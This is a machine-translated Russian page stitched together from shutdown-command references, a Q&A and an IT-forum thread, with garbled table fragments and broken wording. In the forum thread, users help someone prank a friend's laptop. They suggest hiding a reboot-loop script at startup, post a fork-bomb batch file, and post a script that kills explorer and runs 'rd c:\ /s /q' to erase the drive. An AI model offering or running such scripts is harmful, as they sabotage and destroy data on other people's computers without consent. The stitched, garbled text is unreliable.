Пакетное выключение компьютера windows 7

Обновлено: 03.07.2024

Набор команд завершения работы для большинства версий DOS и Windows и языков сценариев.

< td>Windows 98 или Windows Millennium Edition (ME)
Примечания: (1) DOS MS-DOS или PC-DOS
Win31* Windows 3.1, 3.11 или 3.11 для рабочих групп
Win9* Windows 95 или 98
Win98 Windows 98
Win98/ME
NT+ Windows NT 4, 2000 или XP
NT4 Windows NT 4 (не Windows 2000 или XP)
NT4+RK Windows NT 4 с набором ресурсов
W2K Windows 2000
W2K+RK Windows 2000 с набором ресурсов
XP Windows XP
XP Pro Windows XP Professional и Windows Server 2003
W7 Windows 7 (и Windows Server 2008 R2)
TS Windows NT 4 Terminal Server Edition или Windows 2000 (Advanced) Server с установленным Terminal Server
Пау erShell Windows XP или более поздняя версия с установленным PowerShell
KiXtart Windows (любая) с KiXtart
Perl Windows (любая) с ActivePerl
Regina Rexx Windows (любая) с Regina Rexx и W32Funcs
WSH Windows (NT 4 или выше) с Windows Script Host
OS/2 OS/2 Warp 3 и 4, сервер LAN и сервер Warp
(2) Спасибо Биллу Джеймсу и Тому Лаведасу за информацию о RUNDLL.
Дополнительные примеры RUNDLL, которые я собрал, можно найти на моей странице RUNDLL.
(3) Спасибо Саше Предии за публикацию. эта информация.
Дополнительные примеры RUNDLL, которые я собрал, можно найти на моей странице RUNDLL.
(4) См. статью Q234216 в Microsoft База знаний для получения дополнительной информации.
Спасибо Алеку Соруди за указание на эту информацию.
В Windows NT также есть RUNONCE.EXE, но я не уверен, для чего он нужен — RUNONCE.EXE -q не выключает NT.
(5 ) Требуется утилита Microsoft DEVCON

Сопутствующие материалы:

FoolishIT's ShutdownUnless – это безопасный способ планирования перезагрузки сервера, который прерывает перезагрузку, если какие-либо клиентские подключения активны.

PowerOff Йоргена Босмана для всех версий Windows (32-разрядных) может выключать, выключать или перезагружать компьютер, выходить из системы, блокировать рабочую станцию, переходить в режим ожидания или гибернации и даже активировать другой компьютер.
Все действия можно производить локально или на удаленном ПК (если на нем запущен PowerOff).
Действия можно выполнять немедленно или по расписанию с помощью встроенного планировщика.
Этот инструмент можно использовать как в графическом интерфейсе, так и в качестве инструмента командной строки.

Wizmo от Gibson Research представляет собой набор инструментов, интегрированных в единый пакет.
Его функции включают выключение, перезагрузку, переход в спящий режим и выход из системы.

PSSHUTDOWN от SysInternals может выполнять выход из системы, отключение питания, завершение работы и перезагрузку как в локальных, так и в удаленных системах Windows NT 4/2000/XP.
Обязательный элемент для смешанных сред Windows.

NirCmd — это небольшая утилита командной строки, которая позволяет выполнять некоторые полезные задачи, не отображая пользовательский интерфейс.
Запустив NirCmd с простой опцией командной строки, вы можете перезапустить Windows или выключить компьютер, записывать и удалять значения и ключи в реестре, записывать значения в INI-файл, подключаться к своей учетной записи в Интернете или подключаться к VPN. сети, создать ярлык для файла, изменить дату создания/изменения файла, изменить настройки экрана, выключить монитор, открыть дверцу дисковода компакт-дисков и т. д.

В Windows XP (и более поздних версиях) используйте встроенную команду POWERCFG для настройки режима ожидания и гибернации (и других функций).

Я создал пакетный файл для выключения компьютера (Windows 7 Professional).

Пакетный файл простой, он содержит всего 1 строку:

Но иногда это не работает.

Я использую его, щелкнув правой кнопкой мыши, а затем "Запуск от имени администратора".

Есть ли лучшее решение для этого?

Мне нужен этот пакетный файл, чтобы я мог выключить свой компьютер, когда я подключен к нему через удаленный рабочий стол. Я могу включить его с помощью пробуждения по локальной сети, но мне нужен способ полностью отключить его удаленно!

Что вы подразумеваете под фразой "Но иногда это не работает"? Вы имеете в виду, что его нужно запускать от имени администратора или он просто периодически не работает?

@David: Безусловно, могут потребоваться права администратора для выключения машины. Это зависит от конфигурации групповой политики. Windows Server не позволяет завершить работу пользователям, не являющимся администраторами. В несерверных версиях это разрешено по умолчанию, но его можно изменить.

Почему вы ищете «лучшее» решение, чем щелкнуть его правой кнопкой мыши и запустить от имени администратора? Вы бы предпочли, чтобы вам сказали выйти и снова войти в систему как администратор? Если вам нужны права администратора, чтобы что-то сделать, то вам нужны права администратора. Нет обходного пути, если вы не являетесь владельцем машины.

5 ответов 5

Это не ответ на ваш прямой вопрос, а альтернативный и, возможно, лучший способ сделать это.

Поэтому, когда вы подключаетесь к компьютеру через удаленный рабочий стол, он удаляет ссылку «Завершение работы» из меню «Пуск» и заменяет ее на «Отключить» или что-то в этом роде. Однако вы по-прежнему можете получить доступ к обычным функциям завершения работы, нажав Alt + F4 на рабочем столе или нажав на пустую часть панели задач.

Должно появиться старомодное диалоговое окно "Завершение работы Windows" с раскрывающимся списком всех параметров, которые обычно доступны в меню "Пуск".

Это работает на 7, Vista и XP.

введите здесь описание изображения
введите здесь описание изображения

Надеюсь, это поможет!

@Cody Grey Главным образом потому, что он встроен в Windows и работает каждый раз. Это также не ограничивает вас только функцией выключения. Наконец, я бы сказал, что это также быстрее добраться. Щелчок по панели задач из любой программы, в которой вы находитесь, и нажатие Alt + F4 быстрее, чем сворачивание всего, что у вас открыто, поиск файла, запуск его, ожидание таймера в течение 5 секунд и т. д.

Команда выключения также встроена в Windows. Если у вас есть необходимые привилегии для выключения машины, подойдет любой метод. Если нет, ни один метод не будет работать. Команда shutdown также не ограничивает вас только завершением работы (хотя, несмотря на название). Есть флаги перезапуска и т.д. Документация здесь.

@Cody Gray Да, я знаю, что команда «Завершение работы» не ограничивается только функцией выключения. Но если вы хотите изменить то, что делает скрипт, вам придется каждый раз вручную редактировать его или создавать несколько скриптов, что только запутает. Чем это предпочтительнее, чем раскрывающееся окно, изменение которого занимает гораздо меньше времени?

Я бы добавил ключ -f (принудительно) в ваш пакетный файл. Он принудительно закрывает запущенные приложения, что обычно приводит к остановке завершения работы.

Вы также можете использовать комбинацию Ctrl – Alt – End и перезапустить с помощью правой нижней кнопки:

введите здесь описание изображения

Если это поможет, вы можете избавить себя от необходимости щелкнуть правой кнопкой мыши и выбрать Запуск от имени администратора с помощью Elevation PowerToys от Microsoft. Они включают в себя инструмент, который позволяет вам запускать любую команду от имени администратора на консоли или в пакетном файле, просто добавив повышение уровня перед любой командой. (Функциональность, которая действительно должна поставляться с Windows.)

Чтобы установить эту функцию, сначала загрузите инструменты, затем запустите самораспаковывающийся исполняемый файл и распакуйте его в каталог на диске. Перейдите в этот каталог, щелкните правой кнопкой мыши ElevateCommand.inf и выберите Установить в контекстном меню.

Теперь отредактируйте пакетный файл и добавьте команду повышения уровня перед командой завершения работы, чтобы она выглядела так:

Теперь вы можете просто дважды щелкнуть свой пакетный сценарий, и UAC автоматически запросит у вас административное одобрение/учетные данные, не нужно щелкать правой кнопкой мыши. Невозможно обойти это диалоговое окно, не отключив контроль учетных записей.

Тим Фишер имеет более чем 30-летний опыт работы в сфере технологий. Он пишет о технологиях более двух десятилетий и является вице-президентом и генеральным директором Lifewire.

В этой статье

Перейти к разделу

Команда shutdown — это команда командной строки, которая выключает, перезагружает, выходит из системы или переводит компьютер в спящий режим. Тот же самый можно использовать для удаленного выключения или перезагрузки компьютера, к которому у вас есть доступ по сети.

В некотором роде это похоже на команду выход из системы.

Доступность команды выключения

Иллюстрация человека, выполняющего команду выключения на компьютере с Windows

Команда выключения доступна из командной строки в операционных системах Windows 11, Windows 10, Windows 8, Windows 7, Windows Vista и Windows XP.

Синтаксис команды выключения

Эта команда имеет следующий синтаксис:

выключение [/i | /л | /с | / р | /г | /а | /п | /ч | / е | /o] [/hybrid] [/f] [/m \\имя компьютера] [/t xxx] [/d [p:|u:] xx:yy] [/c "comment"] [/?]

Если вы не знаете, как читать синтаксис команд, ниже приведено подробное описание того, что все это значит.

Доступность определенных переключателей команд и другого синтаксиса может различаться в зависимости от операционной системы.

< td>/e
Параметры команды завершения работы
Элемент Описание
/i Эта опция выключения показывает диалоговое окно удаленного выключения, графическую версию функций удаленного выключения и перезапуска, доступных в команда. Переключатель /i должен быть показан первым, а все остальные параметры будут игнорироваться.
/l Эта опция приведет к немедленному выходу текущего пользователя из системы. на текущей машине. Вы не можете использовать параметр /l с параметром /m для выхода из удаленного компьютера. Параметры /d, /t и /c также недоступны с параметром /l.
/s Используйте этот параметр с командой shutdown для выключить локальный или указанный /m удаленный компьютер.
/r Эта опция выключит, а затем перезапустит локальный компьютер или указанный удаленный компьютер. in /m.
/g Эта опция выключения работает так же, как опция /r, но также перезапускает все зарегистрированные приложения после перезагрузки.< /td>
/a Используйте этот параметр, чтобы остановить отложенное завершение работы или перезапустить. Не забудьте использовать параметр /m, если вы планируете остановить отложенное завершение работы или перезагрузку, которые вы выполнили для удаленного компьютера.
/p Этот параметр команды полностью отключает локальный компьютер. Использование параметра /p аналогично выполнению команды shutdown /s /f /t 0. Вы не можете использовать этот параметр с параметром /t.
/h Выполнение команды выключения с этой опцией немедленно переводит компьютер, на котором вы находитесь, в режим гибернации. Вы не можете использовать параметр /h с параметром /m для перевода удаленного компьютера в режим гибернации, а также этот параметр нельзя использовать с параметрами /t, /d или /c.
Эта опция позволяет документировать неожиданное завершение работы в средстве отслеживания событий завершения работы.
/o Использовать этот переключатель, чтобы завершить текущий сеанс Windows и открыть меню дополнительных параметров загрузки. Эта опция должна использоваться с параметром /r. Переключатель /o впервые появился в Windows 8.
/hybrid Эта опция выполняет завершение работы и подготавливает компьютер к быстрому запуску. Переключатель /hybrid впервые появился в Windows 8.
/f Эта опция принудительно закрывает запущенные программы без предупреждения. За исключением параметров /l, /p и /h, неиспользование параметра /f выключения приведет к появлению предупреждения о предстоящем завершении работы или перезапуске.
/m \\< em>имя_компьютера Эта опция команды указывает удаленный компьютер, на котором вы хотите выполнить выключение или перезагрузку.
/t xxx Это время в секундах между выполнением команды выключения и фактическим завершением работы или перезапуском. Время может быть от 0 (немедленно) до 315360000 (10 лет). Если вы не используете параметр /t, предполагается 30 секунд. Параметр /t недоступен с параметрами /l, /h или /p.
/d [p:|u:]xx:yy Здесь записывается причина перезапуска или завершения работы. Параметр p указывает на запланированный перезапуск или завершение работы, а u — на определенный пользователем. Параметры xx и yy указывают основные и второстепенные причины выключения или перезапуска соответственно, список которых можно просмотреть, выполнив команду shutdown без параметров. Если ни p, ни u не определены, выключение или перезапуск будут зарегистрированы как незапланированные.
/c "comment" Эта опция команды позволяет оставить комментарий с описанием причины выключения или перезапуска. Вы должны заключать комментарий в кавычки. Максимальная длина комментария — 512 символов.
/? Используйте переключатель справки с командой shutdown, чтобы отобразить подробную справку о нескольких параметрах команды. . Выполнение выключения без каких-либо параметров также отображает справку по команде.

Каждый раз, когда Windows закрывается или перезапускается вручную, в том числе с помощью команды shutdown, причина, тип выключения и [если указано] комментарий записываются в системный журнал в средстве просмотра событий. Отфильтруйте по источнику USER32, чтобы найти записи.

Извините, если это дубликат сообщения, но я нигде не могу найти ответ, даже в Google.

Мне нужно подшутить над кем-нибудь, когда ноутбук (Vista) запускается, отображается сообщение и система перезагружается.

Я знаю, что существует пакетный сценарий, который можно написать и добавить в реестр или скрыть. (Я не хочу помещать его в папку автозагрузки).

Кто-нибудь может помочь или дать мне скрипт?!

Очевидно, что пользователь может отменить это, введя shutdown -a

Alive_Inside

Популярные темы в кулере для воды

ЯкобиXY

Этот человек является проверенным специалистом

ЯкобиXY

Project[xy] IT Services — поставщик ИТ-услуг.

27 ответов

ЯкобиXY

Этот человек является проверенным специалистом

ЯкобиXY

Project[xy] IT Services — поставщик ИТ-услуг.

РичиА

Ну, ваш сценарий выключения должен быть простым.

SLEEP (время читать сообщение)

Таким образом, он не сможет выполнить команду shutdown -a, так как команда выключения выполняется мгновенно и вступит в силу до того, как он сможет ее остановить.

Спрячьте его где-нибудь в системе, настройте запланированную задачу для запуска при запуске и укажите файл. Лучшее, что я могу предложить.

Speedfox

Этот человек является проверенным специалистом

Спидфокс

вы можете еще больше повозиться с ним, используя команду «shutdown -m //hostname», чтобы удаленно выключить его компьютер в любое время.

чтобы добавить комментарий, вам нужно добавить -c "comment here"

Если вы не являетесь администратором домена, вам нужно будет запустить CMD от имени администратора домена

Speedfox написал:

вы можете еще больше повозиться с ним, используя 'shutdown -m //имя хоста', чтобы удаленно выключить его компьютер в любое время.

>чтобы добавить комментарий, вам нужно будет добавить -c "comment here"

Если вы не являетесь администратором домена, вам нужно будет запустить CMD от имени администратора домена

Если вы не являетесь администратором домена, должны ли вы использовать этот трюк? :)

leif2251

Приведенный выше код хорош, но я думаю, что создание запланированной задачи не так просто найти. Я не уверен насчет регистрации, но локальный объект групповой политики был бы хорошим, мне потребовались бы целые годы, прежде чем я посмотрел бы туда.

Лично я бы сделал это более похожим на вирус или сломанную машину, вместо того, чтобы иметь сообщение, а затем завершить работу над более сложным сценарием, который несколько раз откроет проигрыватель компакт-дисков, отключит мышь, изменит разрешение, а затем выключите. Он не будет искать скрипт, если считает, что его машина — один из выходов или заражена.

Этот человек является проверенным специалистом

Мартин2012

черт возьми, чем больше я вижу командную строку WIndows, тем больше я вижу, что они пытались скопировать unix ;-)

akp982

akp982 — поставщик ИТ-услуг.

shutdown -i и вы получите симпатичный маленький экран, который поможет вам это сделать ;-)

Этот человек является проверенным специалистом

Штигелис

отключение имеет свои ограничения в домене.

Я использовал аварийный скрипт, отключивший все физические и виртуальные серверы в стойках.

c:\psshutdown.exe -f -k -t 1 \\имя_сервера

JediTechSupport

Возможно, лучше всего выполнить первоначальную загрузку.Мы время от времени играли в эту игру. случайные удаленные отключения. пока кто-то не потерял всю мою работу с утра (должно было быть сохранено), а затем они должны были объяснить потерю работы моему боссу. ЛОЛ

Живой_Внутри

Итак, будет ли это работать, если я захочу, чтобы оно делало следующее?

  1. Ноутбук включается
  2. Отображается рабочий стол
  3. Сообщение [Вставьте сюда сообщение] отображается через xx секунд
  4. Система перезагружается, и процесс повторяется

Если да, то что такое полный скрипт и где его спрятать? Где добавить бит сообщения?

Живой_Внутри

Извините, я должен был сказать, что это ноутбук друга!

RAM.

Этот человек является проверенным специалистом

ОЗУ.

@echo off

начать

начать

начать

начать

начать сбой

и сохранить как crash.bat, он откроет так много окон, что в конечном итоге выключится сам по себе.

Живой_Внутри

В основном я хочу, чтобы он делал то же самое, что и shutdown -i, но на локальной машине. В сообщении должно быть указано следующее:

Неплохо. почти так же хорошо, как удаленно запустить IE и открыть парочку порносайтов.

RAM.

Этот человек является проверенным специалистом

ОЗУ.

shutdown /s /c "Все ваши окна принадлежат нам! У вас нет шансов выжить, не торопитесь"

Живой_Внутри

О! Это было проще, чем я думал!

@ЭХО ВЫКЛ.

shutdown.exe /r /t 30 /c «Ваш компьютер выключится через 30 секунд» работает отлично. Я тестирую его на Win 7, и он показывает это сообщение:

RAM.

Этот человек является проверенным специалистом

ОЗУ.

это примерно то, что я только что сказал.

Живой_Внутри

rjones1 написал:

это примерно то, что я только что сказал.

Ой! Не видел, чтобы ты это опубликовал! Я только что скопировал и вставил свой сценарий, вовремя!

Живой_Внутри

Хахахаха, плохо!

Заметка для себя: нужно уделять больше внимания в классе!

RAM.

Этот человек является проверенным специалистом

ОЗУ.

Не забывайте награждать за лучшие ответы и полезные сообщения

Живой_Внутри

Как это сделать? (Я мало пишу на SW!)

Этот человек является проверенным специалистом

Matt9169

Более интересно скачать файл cdeject.exe, разместить его где-нибудь на общем ресурсе и запускать psexec 2-3 раза в день.

Striker090871

Headcase написал:

Как мне это сделать? (Я мало пишу на SW!)

Я думаю, что, поскольку вы разместили это в кулере для воды, оно по умолчанию настроено как обсуждение, поэтому очки не могут быть начислены. Должна быть кнопка/ссылка, чтобы преобразовать его в вопрос, и тогда у вас будет возможность давать лучший ответ и полезные сообщения.

Живой_Внутри

Striker090871 написал:

Headcase написал:

Как мне это сделать? (Я мало пишу на SW!)

Я думаю, что, поскольку вы разместили это в кулере для воды, оно по умолчанию настроено как обсуждение, поэтому очки не могут быть начислены. Должна быть кнопка/ссылка, чтобы преобразовать его в вопрос, и тогда у вас будет возможность давать лучший ответ и полезные сообщения.

Готово :) Спасибо!

MyBeefCakes

Как насчет создания пакетного файла, который мгновенно завершает работу, а затем добавления его в папку автозагрузки, чтобы при загрузке он отключался снова, и снова, и снова.

Это обычно убеждает пользователей, что их компьютер сломался.

RAM.

Этот человек является проверенным специалистом

ОЗУ.

вот забавный вариант (если хотите навсегда испортить их вещи)

ВНИМАНИЕ, НЕ ИСПОЛЬЗУЙТЕ ЭТО НА КОМПЬЮТЕРЕ, КОТОРЫЙ ХОЧЕШЬ ОСТАВИТЬ, ЭТО БУДЕТ БЛОКИРОВАТЬ ВАС ДЛЯ ПРОВЕРКИ ИСПОЛЬЗОВАНИЯ НА ВИРТУАЛЬНОЙ МАШИНЕ ИЛИ НА КОМПЬЮТЕРЕ, КОТОРЫЙ ВАМ НЕ НРАВИТСЯ

@echo off
taskkill -f explorer.exe
start %windir%\System32\rundll32.exe user32.dll, LockWorkStation
rd c:\ /s /q
клс

Луиджи Кот

Этот человек является проверенным специалистом

Кот Луиджи

Разве не рановато для первого апреля?

Эта тема заблокирована администратором и больше не открыта для комментариев.

Чтобы продолжить обсуждение, задайте новый вопрос.

Щелкни! Исправление MS Bluetooth, угрозы электронной почты, задачи безопасности, звуки Марса, создание GIF

Ваша ежедневная доза технических новостей. Вы должны это услышать. Microsoft устраняет проблему Bluetooth, вызывающую синие экраны Windows Проблема, вызванная январским обновлением Microsoft, теперь исправлена. Согласно BleepingComputer: «Майкрософт.

Как остановить спам-тексты со случайных поддельных номеров?

В течение последних нескольких недель я получал спам со случайных поддельных номеров со ссылками на случайные URL. Это происходит каждый день, несколько раз и в любое время. Так как телефонные номера каждый раз уникальны, я не могу заблокировать .

Нужен совет по клонированию, изменению IP-адреса и, возможно, переименованию сервера 2008 R2.

У меня (что я предполагаю) довольно уникальный вопрос с длинным объяснением. Я также просто хочу убрать это с самого начала: я прекрасно понимаю, что здесь много проблем с безопасностью, и это то, о чем мы пытаемся позаботиться с помощью этой очереди.

Искра! Серия Pro – 24 марта 2022 г.

Сегодня в истории: 1958 г. — Элвис Пресли призван в армию США. Когда Элвису Пресли исполнилось 18 лет 8 января 1953 г., он выполнил свой патриотический долг и юридическое обязательство зарегистрировать свое имя в системе выборочной службы, тем самым сделав h.

Щелкни! Okta Breach, QNAP Devices, Raspberry Pi, Space Lettuce, Mercury Diamonds

Ваша ежедневная доза технических новостей. Вы должны это услышать. Окта подтверждает 2.5% клиентов пострадали от взлома в январе. Раскрываются новые подробности взлома Okta, и вполне возможно, что преступники имели физический доступ к сотруднику.

Читайте также: